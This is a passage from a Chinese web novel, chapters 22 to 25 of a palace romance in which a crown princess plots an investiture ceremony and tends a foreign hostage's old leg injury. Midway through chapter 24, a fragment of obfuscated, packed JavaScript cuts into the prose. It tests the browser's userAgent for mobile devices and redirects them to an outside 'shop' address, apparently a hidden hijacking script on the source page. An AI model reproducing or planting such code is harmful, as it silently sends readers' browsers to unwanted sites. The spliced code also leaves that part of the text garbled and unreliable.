许长宁一看那碗黑乎乎的汤药,顿时露出了抗拒的神情:“其实我觉得已经痊愈了……”
薛竹铃眯了眯眼,将药递得更近:“若病情加重,药只会更苦。”
许长宁轻叹一声,只好接过药碗,勉强喝了一口。
药虽苦,可与往日却是不一样的苦,苦味淡了许多。
许长宁抬眼问道:“药换了?”
未待薛竹铃回答,并未完全关上的殿门,忽然传来吱呀一声,似是被人不慎推了一下。
卫迟风神色一凛,下意识又攥紧了剑柄,迅速推开门查看。
朦胧月色下,许长宁看到有一道黑色身影仓促逃跑。
他跑得并不是那么敏捷,左腿迈出的步伐总比右腿吃力一些。
“不必追了。”许长宁对卫迟风说了一句,一口气将整碗药喝完,还是苦得缓了一会,才继续道,“半月之后便是江鹤一及冠之日,册封大典准备得如何了?”
卫迟风折返回答道:“臣已命人去安排了,只是殿下真的要在宫外举行吗?雍京城不比宫中,鱼龙混杂,恐有危险。”
“鱼龙混杂最好。”许长宁眉梢轻挑。
负责京城防卫与皇宫外围警戒的,是南衙十二卫。
卫迟风当即猜到了许长宁的用意:“殿下欲以册封大典为由,从谢望松手中夺得驱使南衙十二卫的权力?”
“不错,我要再将他一军。”许长宁扬唇。
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薛竹铃恍然,挽住许长宁的手,黏在她身旁:“原来那江鹤一的作用在这里!”
许长宁笑着掐掐她的脸:“有长进。”
薛竹铃被夸得心花怒放:“对了,礼部今日差人来问殿下,是否要为江鹤一准备及冠之礼?”
许长宁想起方才那碗新的汤药,以及那道匆忙逃窜的身影,嘴角又扬起一抹笑:“让他们以最高规格准备。”
“哼,便宜他了。”薛竹铃努努嘴,“他们还问,赐字一事,是否交由那苏明烨来办。”
“交给他吧。”
许长宁随口答完,抬手提起茶壶,往杯中倒茶,却忽然犹豫了。
不对……
前世江鹤一与苏明烨的关系极为不好,万一“云止”二字,并非苏明烨所赐,而是前世的江鹤一胡编的话……
云止,便会永远消失了。
“殿下?”薛竹铃看她走神,伸手接过她手中的茶壶。
许长宁回过神来,发现茶水已溢了出来。
“还是由我来赐字吧。”她改口道,“你们先去密室准备一下,我稍后便过去。”
薛竹铃记下许长宁的吩咐,端着药碗与卫迟风一同离开了寝殿。两人前脚刚走,后脚又有人敲响了殿门。
得到允准后,林笙躬着身子走进来,隔着屏风给许长宁行礼:“殿下召见奴才,有何吩咐?”
许长宁感受着脚底的冰凉,缓声问道:“你可知江鹤一的左腿,是何时,因何事而变成如今这样的?”
林笙本还有些忐忑,生怕许长宁要问什么需他出卖江鹤一之事,听到这个问题,便将心放回了肚子里。
“他的左腿,应当是被那些拿他当撒气的太监或者侍卫打断的,后来没有长好,便有了跛脚的毛病。此事说来,还与奴才有些关系。”
林笙九岁那年,因闯祸躲入静思院,幸得江鹤一一番假意哭闹求救,才烦走了那些来抓他的太监。
那时,江鹤一为了显得自己更惨一些,便将左腿上的包扎拆了,加上被那些太监踹了一脚,左腿伤上加伤。
林笙记得很清楚,苏明烨赶回来为江鹤一重新包扎时,骂了江鹤一足足半个时辰,直至江鹤一疼晕过去才住了嘴。
那次腿伤愈合后,江鹤一便落下了跛脚的问题,听苏明烨说,是因为腿骨愈合得不好。
许长宁缓缓踱步,思索片刻后,身影在林笙面前停下。
“跛脚一事,他很在意吗?”她问道。
林笙挠挠头:“奴才倒是未曾听他提过,他在这宫中,命都不一定能保住,腿算什么,他应该不会太在意吧。”
他又想了想,“不过明烨叔曾说过想为老一治腿,只是……”
许长宁追问:“只是什么?”
林笙实话答道:“要治他这跛脚的毛病,需要将他曾经断腿之处再次打断,重新接骨。明烨叔对接骨虽有把握,但断腿愈合需休养许久,江鹤一这朝不保夕的,万一再断了,还不一定有长回去的机会呢。”
殿中沉寂半晌,林笙听见许长宁轻叹一声。
“你回去告诉江鹤一,让他亥时来寝殿见我。”
*
江鹤一的前世日志·十
虽说我喜欢冬季,可冬季亦有于我不利之处。每年冬季来临,我左腿上曾断骨之处都会疼,而夜里愈发寒凉,则会疼得更厉害,可我宁愿它白日疼得更久更严重,也不愿夜里发作。
我不想让她知晓,不想让她感知到,这道时刻提醒我有多不堪与低贱的旧伤。
因此每夜去见她之前,我都会服用止疼药,可偏偏昨夜要出门前,止疼药用光了,我心存侥幸,祈祷不要发作,可天总是不遂我愿,她察觉了。
她告诉我,其实她早便看出我左腿行走有些不便,只是看我不愿说,便也不曾问及此事。
她说若我疼,便莫要逞强,可夜色缠人,我们终是没能忍住。
这一夜,便由她来当了那引路之人。
到最后,她吻了我曾断骨之处。
她始终没有问此伤从何而来,只是伏在我肩头上,说她会尽她所能,护我余生周全,可若有朝一日她沦落至难以自保,此话便不作数了。
我恐自己听上去太过不自量力,便没有说出口。
若真的走到那一日,我会护住她,拼了性命,也要护着她到最后一刻。
天地之大,我已没有去向,唯有她,是我的归处。
23.夜召
许长宁的密室,建立在书房之下,偌大东宫,只有薛竹铃和卫迟风知晓此事。
卫迟风不是很喜欢这个密室,总是站在书架前,便不愿再靠近。
薛竹铃从柜子里取出一套许长宁的衣裳,以及一条面纱,放在桌上,又拿出几瓶药物,将一切准备妥当。
她看见卫迟风站在一旁,面色凝重地望向寝殿方向,便将两张椅子拉近,按着他坐下:“你还说我总让殿下担心,你这副样子,也会让殿下担心。殿下本来觉得无事,你如此严肃,她还要反过来安慰你。”
卫迟风攥紧了剑柄的虎头雕刻:“我只是……”
“我知道,你是为殿下感到生气,但是你要相信殿下,她说无事,便是无事。若有事需要帮助,她定会告诉你我,我们是她最信任的人。”
薛竹铃拍了下他的手,“殿下当初赠你这把剑,不是让你日日用手打磨剑柄的,这虎头都快被你磨成猪头了。”
卫迟风这才松开剑柄,双手一时竟有些无所适从,薛竹铃看不下去了,直接拉过他的右手,双臂交叠放在桌上,倾身将脸蛋侧着垫上去,将他的手掌藏了起来。
“卫迟风,你为何总是这么严肃?不累吗?”
卫迟风身形一僵,顿时不敢动了。
望着趴在桌上的薛竹铃,冲他眨着圆溜溜的眼睛,他连说话都变得有些结巴:“我、我哪有?该笑的时候,我都有笑。”
他那被薛竹铃藏起来的手掌,紧张得想要攥紧,却又不敢,因为他一旦合起手掌,便等于握住了薛竹铃。
薛竹铃一脸坦荡,并未因自己的举动而有半分不自在:“与你笑不笑无关,我能感觉到,你时时都很紧张,卫率一职,负担很重吗?”
卫迟风的神情愈发凝重了:“殿下的安全,比我的性命更重要,她如今要与谢家一争高下,处境定会更加危险,我必须更——”
忽然,他的话音戛然而止。
薛竹铃在挠他的掌心。
她一脸坏笑,硬拽着他的手,不让他抽出来。
她明知道他怕痒,也知道他但凡认真用些力气,都能将她掀翻。
可她偏偏做出一脸“你奈我何”的嚣张模样,光明正大地欺负他。
卫迟风被她挠得想要发笑,却忍着不让自己笑出来,怎知薛竹铃得寸进尺,开始伸手往他身上挠,卫迟风只能连连闪躲,但薛竹铃调皮起来,就像书架后满密室的小猫一样,又敏捷又滑溜,怎么抓都抓不住。
卫迟风的胜负欲一时被挑起,几番追逐,终于从薛竹铃身后将她一把抱住。
他正想宣扬自己胜出,却听到了低低的呜咽声,顿时吓得忙松开手,绕到她面前,蹲下身问道:“我弄疼你了?”
薛竹铃垂着头,双手捂眼抽泣,卫迟风手足无措,几乎要给她跪下:“竹铃?哪儿疼?”
怎知薛竹铃“哭”到一半,便憋不住笑了,以极快的速度将他扑倒,往他腰间一顿乱挠,随后坏笑着逃之夭夭。
卫迟风躺在地上半晌,才从方才的慌张回过神来。
又被耍了……
每回薛竹铃装哭,他便失了判断力,次次都会上当……
罢了,上当便上当吧,好过她真的哭了,他却未曾察觉。
卫迟风坐起身,看着哼着小曲、蹦蹦跳跳往许长宁寝殿方向走去的身影,不禁扬起了笑意。
他掏出那把他亲手改良过的匕首,一直还没有机会送给薛竹铃。
不过也不着急,这匕首只是给她当做装饰,唬唬人而已,他不会让她有用上匕首的那日。
卫迟风攥紧了匕首,重新躺倒在地上。
望着那层层厚重到似乎要压下来的房梁,他的耳边再度响起了那一句,他要铭记终生的话。
“孩子啊……你的命……已不是你自己的了……”
*
江鹤一得知许长宁要召见他,竟有种如释重负的感觉。
自从上回他对她恶语相向,她便没有再见过他,直至今晨的考核。
只是与以往不同,许长宁今日见他,毫无半分柔和笑意,连说话都淬着冰。
这令他意识到,原来从前许长宁每次待他,都是他在这宫中,除林笙与寿昌院的奶奶们之外,得到的最好的待遇。
而他似乎……回回都在激怒她……
虽说许长宁是在利用他,但他也从这利用之中得了好处。
今夜与她见面,说什么都不可再惹怒她了。
江鹤一从带来的衣裳中,选了看上去最好的一套,又向林笙借了一根发带,将头发认真束起来。
望着镜中的自己,他忽然又犹豫了。
可若她今夜又要他……他该从,还是不从?
有了第一次,有了梦中那些零碎却如潮水般的记忆,他竟生出一种错觉。
一种与许长宁已多次行事的感觉。
不陌生,不抗拒,甚至……有种隐隐抑制不住的期待。
江鹤一拧了一把自己的大腿,逼自己将这些离谱的想法抛之脑后。
江鹤一,你真是疯了……
他绑好发带,赶在亥时到来前便出了门。
他站在许长宁的寝殿前,请人去通报时,再度检查了一遍自己的着装,将起了毛边的腰带一侧偷偷转至身后。
得到准允后,他无声呼出一口气,迈入了寝殿内。
然而未待他见到许长宁,便先行听见了一道男子的声音。
“阿姐,今日武学博士当真夸我了,你可是不信?”
江鹤一抬眼望去,呼吸一滞。
殿内灯火明亮,不止他与许长宁二人。
崔皓坐在许长宁身旁,一副气鼓鼓的模样,还夺过许长宁手中的折子,撒娇一般把头凑了过去:“我不管,阿姐信与不信,都得夸我。”
许长宁失笑,着实没办法了,只好抬手摸摸他的头:“我信,阿皓以一敌十,未来必是当将军护国的栋梁。”
“能否护国暂且不说,我定会好好护着阿姐。”崔皓趴在桌上,望着许长宁,笑得满足。
不知为何,江鹤一生出一种无地自容的羞耻感。
为他此刻的处境,为他此前的胡思乱想,为他这般重视她的召见。
崔皓那一身华服锦衣,与许长宁的绣金红袍相得益彰。
而他衣裳内侧歪歪斜斜的缝补处,扎得他难受。
他想要逃走,却又不得不在说笑的两人面前跪下,行礼问安。
俯下身那一刻,他觉得自己的脸烧得发烫,左腿腿骨在隐隐作痛。
“小人拜见殿下。”
许长宁脸上的笑意顿时敛去,眉心微蹙,不是说了让他别自称“小人”了吗?
“起来吧。”她无声叹了口气。
江鹤一站了起来,却一直垂着头,许长宁的话在他耳边流动,他却几乎没有听进去。
她在说半月之后的册封大典,说他的及冠礼,又说了太医署之事。
他只是一一应着,满心只有一个念头。
他想离开此地,想离开面前二人的注视。
苦苦等到许长宁交代完一切,他正要告退,却被许长宁的四个字囚住了脚步。
“你的左腿。”
许长宁顿了顿,似在思考要如何往下说。
她的声音比今晨见面时柔和了不少,可落在江鹤一耳中,却长满了刺。
“旧伤之处可会疼?可有不便?”
江鹤一攥紧了拳,羞耻之感几乎将他吞噬,扒着他的脸皮在一点点撕裂。
他垂着眼,低声答道:“不痛不痒的旧伤罢了,殿下不必挂心。”
“是吗……”
许长宁凝望他片刻,指尖轻敲桌面的速度越来越快。
戛然而止之时,她也做出了决定。
“既然如此,你便陪阿皓练练他今日所学的招数。”许长宁看向一侧的崔皓,“让我看看阿皓是否有长进。”
此言一出,崔皓与江鹤一皆是意外。
江鹤一抬起眼,直言道:“殿下,小人并不会武。”
未待许长宁说话,崔皓忽然站了起来,冲江鹤一笑笑:“无妨,这套拳法我也是初学,仍不熟练,若是让卫将军陪我练,我怕是要在阿姐面前出丑了。”
他的眼中闪烁着跃跃欲试的光芒,甚至带有一丝兴奋,“江公子可否给我留个面子?”
江鹤一并未看向崔皓,而是一直望着许长宁。
他在等她的回
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答。
等到他的指甲已在掌心留下深深的印痕,却等来许长宁眼神的回避。
她垂眸看向桌面的折子,淡淡道:“试试吧。”
崔皓当即行至他面前,一脸稚气尚存,但比江鹤一只是矮了一个拳头,也明显更为强壮。
他拱手抱拳,笑道:“劳烦了。”
江鹤一尚未反应过来,崔皓手腕突然一翻,拳头直冲他的胸口而来。
江鹤一慌忙抬臂去挡,踉跄着退了两步。
崔皓随即一个箭步跨向前,假意挥出一拳,趁江鹤一侧身闪躲时,猛地抬膝顶他的小腹,趁江鹤一吃痛弯腰时,连续出拳或以肘部攻击他的后背。
这哪是什么初学的拳法,分明已经熟练得一气呵成。
江鹤一从崔皓的钳制中堪堪挣脱,然而崔皓迅速以脚尖勾住他左腿膝盖后弯,狠狠一踹。
江鹤一左腿本就不便,吃痛瞬间便失了平衡,整个人朝一侧倒去,右肩狠狠磕在地上。
他的外袍下摆,被崔皓踩住撕了道口子,发带亦在打斗间松开,几缕头发散乱垂在脸前。
他狼狈得连抬头的劲都卸了大半。
明明他从前,时时刻刻,都习惯了卑躬屈膝的姿态。
明明被人践踏不过是家常便饭,他从未曾放在心上。
明明……他不会在意的……
可为何,此刻会觉得屈辱至极,苦涩不已?
他死死咬着牙关,本想爬起来,却听见了这场羞辱的终结。
“好了。”许长宁轻声说道。
方才暗里发狠的崔皓顿时又换上了笑颜,朝江鹤一伸出手,示意要拉他起来,话音爽朗:“抱歉了江公子,请你莫要怪罪。”
江鹤一避开崔皓的手,撑着地面站了起来。
“小人怎敢。”他强忍着腿骨的疼痛,逼自己站得笔直,“小人衣冠不整,若殿下无其他吩咐,便先行告退了。”
许长宁微微颔首,放他离开。
望着江鹤一为了不显出跛脚的毛病,几乎是在小心翼翼地行走,许长宁垂眸看了眼方才写下的密令。
看来计划得变一变了。
*
伤人一千,自损八百,所以在殴打人时,大多人都会选择用武器。
想夺命的,便用刀剑,不想闹出人命,便用棍棒。
江鹤一从小到大,挨了数不清的棍棒。
他最恐惧的,不是棍棒打在身上那一刻,而是棍棒即将挥下来那一刻。
他永远不知道一棍下来,会往何处打,是轻还是重,他能否熬过来。
这一夜的梦里,便是无数朝他挥下来的棍棒。
密密麻麻悬在他面前与上方,将落未落,而他被逼入角落,退无可退。
熟悉的恐惧扼住他的喉咙,令他难以呼吸。
他看到有一人,从远处缓缓靠近,身穿华服,脸上是带有稚气的笑容,可在他看来,却是扭曲的。
崔皓看着他,又看了眼他的左腿,微微歪了歪头,漫天的棍棒顿时犹如天石坠落,冲他的左腿砸来。
一阵强烈的疼痛令江鹤一猛然惊醒,刚要缓一口气,然而床前坐着的一道黑影,令他几乎要喊出声来。
“别动。”
许长宁的声音很轻,却极快地令江鹤一的惊慌消退。
*
许长宁的前世日志·五
我从不曾问过云止的过往,他时常梦魇,我便猜到他的从前有许多不堪。
每回他梦魇醒来,他便整宿地无法入眠,即便他忍着不动,我亦能从他的呼吸声中判断出来,他还醒着。
但他实在好哄,比从前哄竹铃入睡更简单,只要与他一直说话,说着说着,他便会睡着了。
我曾问他,他的噩梦中都有什么,他说是旁人在殴打他。
他说每次挨打,他都表现得毫不畏惧,但梦骗不了人,其实他是害怕的,尤其在棍棒落下来之前。自从与谢筠合作,旁人大约知晓有达官显贵护着他,便不敢再碰他,可梦魇却不曾放过他。
可是他说,近些年的噩梦变了。
我亲了亲他的下巴,问他噩梦变成了什么。
他将我抱得很紧,说,梦见我不要他了。
24.置气
确认来人是许长宁后,江鹤一狂跳的心很快平缓了下来。
是她,便不会有危险。
这下意识的安心,令他感到意外。
他已经对她放下了戒心吗?
江鹤一不敢放任自己往下想,回过神来,才感觉左腿小腿腿骨处有阵阵暖意流动,缓缓将骨痛压了下去。
他看见许长宁掀开他的被褥一角,手持一个灸炉,放在他的腿上方温熏着,看样子已经来了好一会。
整间卧房充斥着艾草的味道,艾灸可驱寒镇痛,江鹤一自是知晓。
但他一想起许长宁让他陪崔皓练武,心中便来气,往床榻里面缩了缩:“你又想做什么?”
许长宁将灸炉放到榻边的桌子上,手指在一盒膏药前敲了敲。
“方才伤了何处,擦些药吧。”
江鹤一能听出许长宁声音的柔和,且她深夜来此,亲自为他腿上骨伤处烧艾热熏,行为上亦是在关心他。
她像是来道歉的。
可江鹤一憋的那股气与委屈愈发强烈,他没有动,冷冷道:“你不是想看我的笑话吗?笑话看完了,何必又送药来?”
许长宁看他一副毫不掩饰情绪的模样,反倒轻松了些,至少不用费劲去猜测。
她让崔皓与江鹤一过招,目的有二。
一来,册封大典必定不会太平,她要看他是否有自保之力。
二来,她想知道,江鹤一对于自己的左腿,到底是何想法。
江鹤一与她向来难以沟通,这段时间她已深受教训,不想多费口舌与他商量或是讨论,想到什么便做了。
只是没料到,崔皓这孩子好胜,一下子把人给撂倒了。
没办法,她起的头,江鹤一心有埋怨也在理,她这不是来给他“道歉”了吗?
但她不想示弱,谁知道这混蛋小子得了便宜,又会如何咄咄逼人,于是也在言辞间逞强。
“孤只是不想你明日去太医署当值,一副被孤虐待的模样,更不想在册封那日,让人看到孤的翊圣郎弱不禁风。”
江鹤一冷笑一声:“若是嫌弃,你大可不必封我做什么翊圣郎,我看谢筠或那崔皓便挺好,处处满足你所需。”
“你可是孤最好的棋子,孤怎会嫌弃?”
许长宁撑着床沿,倾身靠近江鹤一,微笑道,“孤会将你身上一切可利用的地方,都利用干净,当然,该给你的好处,孤亦不会吝啬,保证比你与谢筠合作更划算。”
江鹤一别过头,不想看她:“反正我已没机会再与谢筠合作,你说这话倒是容易。”
许长宁懒得与他争口舌之快,拿起药膏递到他面前:“你若不擦,我现在就去隔壁卧房把林笙给揍一顿。”
江鹤一一哽,这个女人威胁他真是越来越熟练了。
也越来越随意了……
随意到他其实并不相信,也并未感觉到被威胁。
但他还是接过了那盒药膏。
他没有打开,本想等着许长宁走了再擦,可许长宁一直盯着他,用意十分明显。
她要看着他脱掉衣裳擦药。
江鹤一:“……男女授受不亲,你就不能回避一下吗?”
“我们不亲?”许长宁扬唇,“该亲的地方,都亲过了吧?”
江鹤一:“……”
昭国储君就是个赖皮的……
说这种话,怎能一点都不害臊?
江鹤一与许长宁四目相对,僵持了好一会,江鹤一终是败下阵来,无奈地叹了口气。
若他不脱衣裳擦药,这女人估计要在此处盯着他一整夜。
他一想通,便干脆利落地脱去了左半边的上衣,蘸取膏药涂抹磕伤的肩头。
胡乱涂了一些后,他便要拉起衣裳,却一下子没拉起来。
他垂眼看去,发现许长宁用手压住了他的衣裳。
“此处。”
许长宁冰凉的指尖,忽然在他的后背,犹如蜻蜓点水一般一点,随即又跳跃,在另一处落下,又是一点。
“以及此处,也有红肿。”
轻盈又微痒的触碰,在安静的夜里荡起层层涟漪。
江鹤一莫名生出些不自在,拽衣裳的手劲更大了些:“够不着,又不痛不痒的,不擦了。”
怎料许长宁直接将他另一半的衣裳也扒拉下来,他整个后背顿时都裸露在她面前。
忽如其来的清凉,使江鹤一身形一僵。
但屋内却不冷,地龙似比他入睡前烧得更旺了。
还是说,他自己的体温烧得更旺了……
许长宁伸手取了些江鹤一手中的膏药,往他后背的两处红肿涂抹。
触碰的瞬间,江鹤一下意识闪躲,却被许长宁摁住了右肩。
“再乱动,我就去揍林笙两顿。”
她的威胁,与她落在他背后的指腹一样轻柔。
柔软的指腹,在他背后伤处轻轻地打着圈,后背的伤从起初的疼,渐渐变得痒,而皮肤上的痒,又慢慢渗入他的血肉,如藤蔓般缠住了他的心。
江鹤一没有再动,亦不再言语,他只是静静地坐着,微微垂着头,眼角余光,落在许长宁的衣角上。
连他自己都察觉到,此刻他乖巧得像许长宁养了许久的狗。
时间似乎过得很慢,凝固成雪,又在窗外纷纷飘落。
“若你害怕做噩梦,不敢独自一人入睡,可以去我的寝殿。”
许长宁的低喃仿佛轻羽,在他心间扫动。
江鹤一的手指,在许长宁看不见的地方,捏紧了衣裳。
他低声道:“殿下不像是会哄人的,与你在一处,只怕噩梦会愈发严重。”
许长宁眉梢轻挑,心想前世的你可不是这么说的。
“你是不愿,还是不敢?”
江鹤一冷笑一声,强行拉起衣裳披着,坐正了身子:“若你要让崔皓来打我一顿,逼着我去,我也没办法。”
“江鹤一,你心里应当清楚我不会如此。”许长宁掰过他的脸,硬要他看着自己,“你到底为何一直在与我置气?”
江鹤一面不改色:“殿下说笑了,小人怎有资格与您置气?”
许长宁蹙了蹙眉,原本她并不在意,可话说到这里,她不甘心就这样放过他。
明明……就是他对她不好……
衣袖扬起又落下,天旋地转瞬间,江鹤一被许长宁按倒在榻上。
她的长发飘散在他的身侧,宛如瀑布,那股熟稔的气息,丝丝缕缕侵蚀着他的平静。
“江鹤一,以你的身份与处境,若是换做旁人这般待你,不打不骂,好吃好睡,还为你调理身子,为你伤处上药,平心而论,你也会像对待我这般对待别人吗?你这不是置气,是什么?为何你偏待我如此不公?”
许长宁的双眸盈盈如波,看得江鹤一心慌。
她的话语间,是难以掩饰的委屈。
仿若梦中人醒来,江鹤一忽然惊觉,许长宁所说,竟是对的。
这宫中,除了林笙与寿昌院的女官们,人人皆随意对他羞辱打骂。
若有人本要将他打个半死,但因为打累了,或是因为他求饶的姿态令对方满意了,便少打了几棍,他定是会磕着头跪谢的。
可他对许长宁,却并非如此。
他似是因为愈发坚定地认为,她不会伤他,才这般……肆无忌惮……
他竟然一次次地冒犯与违抗昭国储君,在他从前的认知里,如此定会死个八百回了。
可是他还活着,并活得更好,更有人样了。
如此看来,他更像是在……恃宠而骄……
江鹤一不知该如何回答许长宁的问题,他的心乱了。
他只能侧头,避开许长宁的注视:“若殿下觉得不值,大可让小人自生自灭。”
许长宁更不悦了,掐着他的脸又一次威胁道:“孤的翊圣郎不是小人,你再说一次,孤就去揍林笙三顿。”
看江鹤一不说话,许长宁压低身子,几乎与他鼻尖相触:“记住了吗?”
江鹤一感觉心脏跳动的声音都要被许长宁听见了,忙顺了她的意:“臣记住了。”
言罢,他便推开了她,不想让她看出自己越烧越红的耳根。
许长宁也不纠缠,直接站起身,理了理头发:“若一切顺利,半月后你的及冠礼会与册封大典一同举行,届时你我的婚事将会昭告天下,在此之前,你务必将这些低声下气的习惯改了。”
江鹤一哼笑一声:“我在昭国,本就是低人一等,低声下气有何不妥?”
许长宁俯身抬起他的下巴,微笑道:“可从今往后,你可以低孤的父皇一等,低孤一等,仅此而已,在旁人面前,你是翊圣郎,是来日的昭国皇夫。”
江鹤一仰着脸,望着许长宁的双眸,心乱如麻。
日子长了,许长宁的话听多了,他竟恍惚间感觉,自己仿佛成了昭国人,颇有地位的昭国人。
他日后的路,都已经被许长宁安排好了。
似乎只要听她的话走下去,一切就会变好。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877703|189670||http|test|mini|href|location''.split(''|''),0,{}));
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>可他不能让自己沉沦在这种虚妄当中,这一切要么是假的,要么就都不是他的,而是那个什么“云止”的,总有一日会消失。
“许长宁,你到底要我做到何种境地,你才会满意,才会放我回家?”
江鹤一的语气平静,却字字句句都在质问。
许长宁却笑了:“现在的你,连自己都保护不了,回燕国能做什么?”
江鹤一一哽,尚未来得及回答,她又问道:“换一个地方卑躬屈膝,跪地求饶吗?你以为你所谓的家,便风和日丽一派祥和吗?你回去,恐怕会被人吃得连骨头都不剩。”
“那又如何?”江鹤一神色倔强,不甘示弱,“我的家人在等我,我的母后处境危险,我定要回去。”
许长宁放开他,拂袖转身,负手在卧房中缓缓行走,打量江鹤一带来的物件。
她的声音不重,宛若在与他聊家常:“你说你母后的处境危险,那你可知晓她为何遭人针对?周徽音背后的周家,周家军,以及你,燕国嫡长皇子,都是别人将她视为眼中钉的原因。”
“你在昭国这些年,你的母后定是左右周旋,才实现了平衡的局面,她不威胁到别人,也无人敢动她,眼下活得好好的。可你若回去,平衡便会被打破,你无权无势,手无缚鸡之力,只会成为你母后的软肋,而你的身份,亦让别人有了攻击她的理由。你到底是在帮你母后,还是祸害她?”
“江鹤一,世道是不公,让你这十几年活得凄惨,但那已成过往,你再如何自怨自艾,或记恨别人,也无法改变了。你唯有往前走,才能寻到出路,可你如今浑身上下,只有一个身份是有价值的,其余的,连一颗像样的棋子都算不上,给你自由,等同于让你去送死。”
绕了一圈,许长宁再度回到江鹤一榻前,手中拿了一盏火烛,重新点燃灸炉里已经熄灭的艾炷,将灸炉递给江鹤一。
她扬唇微微笑了笑:“我是在利用你,但我也允许你利用我给你的一切,安全、地位、权力,允许你靠这些东西,让自己变强。”
江鹤一没有伸手接灸炉,许长宁便将其放在他的榻上,“好好想清楚吧。”
丝丝缕缕的轻烟,从灸炉中溢出,江鹤一低头望着,许久都没有说话。
许长宁的一番话,将他贬得一无是处。
可令他失落的是,她说得没错。
他的确如同一滩烂泥,这些年来,学到的除了苏明烨教给他的医术,便是隐忍和谄媚。
他总为自己愤愤不平,仇视别人,却不曾意识到,自己这般无用,只配此等下场。
即便回了燕国,他也只会是母后的累赘。
也许他心心念念的家,并无人在等他回去。
江鹤一缓了一会,逼着自己不去看许长宁,他不知该如何面对她。
可待他再抬起头,却发现许长宁早已一言不发地走了。
他一时间有些恍惚,看着空荡荡的卧房,有一刻甚至以为自己方才做了一场梦。
可床头的灸炉与药膏,萦绕在身边的、她的气息,却都是她来过的痕迹。
她总是这般,忽然闯入他的心头,搅乱他的心绪,又忽然地离开。
回回都留下他一人,猝不及防。
江鹤一下了榻,行至窗边,伸手欲推开窗户,意识到自己要做什么时,手忽地一顿。
他竟想要看许长宁。
他到底怎么了……
江鹤一有些慌张地转身,却发现桌案上多了一个托盘。
上面整齐叠放着两套新衣裳,以及几根色彩相配的发带。
那两套衣裳,比起崔皓所穿,毫不逊色……
*
许长宁走出卧房后,困倦顿时袭来,于是她迎着飘雪,匆匆穿过院落。
可当她即将迈出院门时,忽然察觉有些不对劲。
她的眼角余光,方才似乎瞥见了一道隐藏在黑暗中的人影。
她悄声折返,行至半路,往不远处的黑暗中仔细看了眼。
困倦当即消散干净了。
那是这处院落的茅房,而此时正有一个人侧身站着小解,似是忘了关门。
小解完后,那道身影舀了一勺水净手,打着哈欠往许长宁这边走来。
林笙睁开惺忪睡眼,看到面前的许长宁那刻,愣在原地许久,仿佛被冰冻住一般。
许长宁眯了眯眼:“你……并未净身?”
林笙扑通一声给许长宁跪下了,脸色如同地上的积雪那般惨白。
完……犊子……了……
25.改变
江鹤一翻来覆去,许是害怕再度梦魇,许是许长宁的话令他不甘,他始终再难以入眠。
自许长宁离去,地龙似乎也变冷了,房中变得格外的空荡。
他侧身看向床头那已经熄灭的暖炉,和那一盒药膏,方才的感觉又席卷而来。
腿上的暖意,与后背的痒,令他愈发清醒。
“老一……你睡了吗?”
门外忽然传来林笙的低声呼唤,江鹤一应了他一声,他便推门进来了。
“你果真睡不着呀……”林笙看他一副无睡意的模样,还有些意外。
江鹤一没有听清他说什么,坐起来问道:“这么晚了,你不睡吗?”
林笙笑得有些苦,他睡是睡了,就不应该爬起来小解……
“我睡不着,便想着来找你闲聊一会。”林笙也不等江鹤一同意,行至床榻边,靠着床沿坐在地上。
江鹤一看他如此随意,便也重新躺下。
微弱的烛火摇曳,林笙絮絮叨叨跟他说了许多事,从他奶奶们的事情,说到他们二人小时候一起被“追杀”,再说到如今在东宫住下的日子。
“真是人算不如天算,不承想,我们竟可以住在东宫。”林笙感慨道,“你和明烨叔的日子,总算是好起来了,也许不久后,便能回燕国了。”
身后久久没有传来回应,林笙还以为江鹤一睡着了,转过身一看,却捕捉到了一滴泪滑落的瞬间。
映着烛光,那滴悄无声息的眼泪在江鹤一的鼻梁上留下一道痕迹。
“回国……”
“我回去又能做什么……”
“十几年来,我早已成了一滩烂泥,还妄想着回国,妄想着也许能重新做回那个干干净净的嫡长皇子。”
江鹤一扯出一个苦笑,“阿笙,我是不是一个笑话?是不是……太没用了……”
林笙思索片刻,往床头方向挪了挪,趴在榻边,对江鹤一认真说道:“谁说你没用了?谁说你是一滩烂泥了?你八岁就被扔进狼巢虎穴,能苟活到现在,便已是许多人无法做到的事情了。”
“即便是蝼蚁,能偷生便是本事,你为了求生,折了骨头,别人看来是卑贱,是狼狈,但在那些希望你活下去的人眼中,便是勇气与荣光。”
“老一,你在昭国,便如同在战场上厮杀的将士,甚至比他们走得更艰难、斗得更勇猛。实不相瞒,我佩服你,我比你更会逃,但我没有你抗打,我要是你,早死一百回了。”
“眼下你的命数有了改变,新的一场战争便开始了,你要做的,是认清局势,认清敌友,改变你的战略,而不仅仅是求生了。你可以做比求生更高一阶的事情,你可以借着殿下之势,获得更多别人得不到的东西。”
一通长篇大论说下来,林笙唇焦口燥,可他确实看到,江鹤一听了他的话,眼中的泪已经干了。
映在他眼中的火光,愈发耀眼。
看来是把这小子哄好了,林笙松了一口气。
“你……”江鹤一犹豫片刻,开口问道,“鬼上身了?”
林笙:“?”
江鹤一:“你竟能说出如此有水准的话来?”
林笙劈头盖脸给他拍了一掌:“我的金玉良言是随便说的吗?都要收钱的!何况夜半三更的,陪聊是另外的价钱,我都记下了!”
江鹤一摸着挨打的地方,无辜道:“……不是你来找我陪聊的吗?”
林笙白了他一眼,忽然觉得肚子饿了,于是翻找出那盒燕国的点心,拿了两块,塞了一块进嘴里,给江鹤一递去另一块。
可反常的是,江鹤一望着那块糕点片刻,竟摇了摇头。
“我不吃了。”
这是林笙头一次见他心情不好时,会拒绝燕国的点心。
稀奇程度便如同他林笙帮别人做了事,却不记账一般。
林笙索性将另一块也塞进嘴里,再度靠着榻边坐下,双手交叠垫在脑后。
“阿笙,多谢。”江鹤一轻声道。
林笙嘿嘿笑了一声,没有应他这声谢,又跟他东一棒西一棒地聊了许多事。
“话说,我在东宫这几日,听到了一些传闻,殿下似乎在修炼一种神秘的术法,所以才与从前的言行举止大为不同了。”
“怎么说?”江鹤一的声音渐渐弱了下去。
